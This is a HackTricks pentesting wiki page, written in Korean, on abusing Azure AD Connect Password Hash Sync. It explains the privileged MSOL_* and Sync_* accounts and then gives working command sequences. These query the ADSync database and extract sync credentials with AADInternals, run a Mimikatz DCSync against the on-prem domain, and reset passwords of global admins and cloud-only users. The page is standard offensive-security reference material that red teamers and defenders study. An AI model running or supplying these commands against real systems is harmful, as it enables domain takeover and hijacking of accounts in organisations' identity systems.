Az - PHS - Password Hash Sync

Support HackTricks

Basic Information

From the docs: 비밀번호 해시 동기화는 하이브리드 아이덴티티를 달성하기 위해 사용되는 로그인 방법 중 하나입니다. Azure AD Connect는 온프레미스 Active Directory 인스턴스에서 클라우드 기반 Azure AD 인스턴스로 사용자의 비밀번호 해시의 해시를 동기화합니다.

이는 온프레미스 AD를 Azure AD와 동기화하는 데 사용되는 가장 일반적인 방법입니다.

모든 사용자비밀번호 해시의 해시가 온프레미스에서 Azure AD로 동기화됩니다. 그러나 평문 비밀번호원본 해시는 Azure AD로 전송되지 않습니다. 또한, 내장 보안 그룹(예: 도메인 관리자 등)은 Azure AD로 동기화되지 않습니다.

해시 동기화는 매 2분마다 발생합니다. 그러나 기본적으로 비밀번호 만료계정 만료는 Azure AD에서 동기화되지 않습니다. 따라서 온프레미스 비밀번호가 만료된(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 Azure 리소스에 계속 접근할 수 있습니다.

온프레미스 사용자가 Azure 리소스에 접근하려고 할 때, 인증은 Azure AD에서 이루어집니다.

PHSIdentity Protection 및 AAD 도메인 서비스와 같은 기능에 필요합니다.

Pivoting

PHS가 구성되면 일부 특권 계정이 자동으로 생성됩니다:

  • 계정 **MSOL_<installationID>**는 온프레미스 AD에서 자동으로 생성됩니다. 이 계정은 디렉터리 동기화 계정 역할이 부여됩니다(자세한 내용은 문서를 참조). 이는 이 계정이 온프레미스 AD에서 복제(DCSync) 권한을 가지고 있음을 의미합니다.

  • 계정 **Sync_<name of on-prem ADConnect Server>_installationID**가 Azure AD에서 생성됩니다. 이 계정은 Azure AD에서 모든 사용자(동기화된 사용자 또는 클라우드 전용 사용자)의 비밀번호를 재설정할 수 있습니다.

이 두 개의 특권 계정의 비밀번호는 Azure AD Connect가 설치된 서버의 SQL 서버에 저장됩니다. 관리자는 이러한 특권 사용자의 비밀번호를 평문으로 추출할 수 있습니다. 데이터베이스는 C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf에 위치합니다.

구성 정보를 테이블 중 하나에서 추출할 수 있으며, 하나는 암호화되어 있습니다:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

암호화된 구성DPAPI로 암호화되어 있으며, 온프레미스 AD의 MSOL_* 사용자 비밀번호와 AzureAD의 Sync_* 비밀번호를 포함하고 있습니다. 따라서 이를 손상시키면 AD와 AzureAD로 권한 상승이 가능합니다.

이 자격 증명이 저장되고 복호화되는 방법에 대한 전체 개요를 이 강의에서 확인할 수 있습니다.

Finding the Azure AD connect server

Azure AD Connect가 설치된 서버가 도메인에 가입되어 있다면(문서에서 권장), 다음과 같이 찾을 수 있습니다:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

MSOL_* 악용하기

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

이 자격 증명을 얻기 위해 adconnectdump를 사용할 수도 있습니다.

Sync_* 악용하기

Sync_* 계정을 손상시키면 모든 사용자의 비밀번호를 재설정할 수 있습니다(전역 관리자 포함).

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

클라우드 사용자만의 비밀번호를 수정하는 것도 가능합니다 (예상치 못한 경우에도).

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

사용자의 비밀번호를 덤프하는 것도 가능합니다.

또 다른 옵션은 서비스 주체에 특권 권한을 할당하는 것입니다. Sync 사용자는 권한을 가지고 있으며, 그런 다음 그 서비스 주체에 접근하는 것이 권한 상승의 방법이 될 수 있습니다.

원활한 SSO

PHS와 함께 원활한 SSO를 사용할 수 있으며, 이는 다른 남용에 취약합니다. 확인해 보세요:

Az - Seamless SSO

참고자료

HackTricks 지원하기

Last updated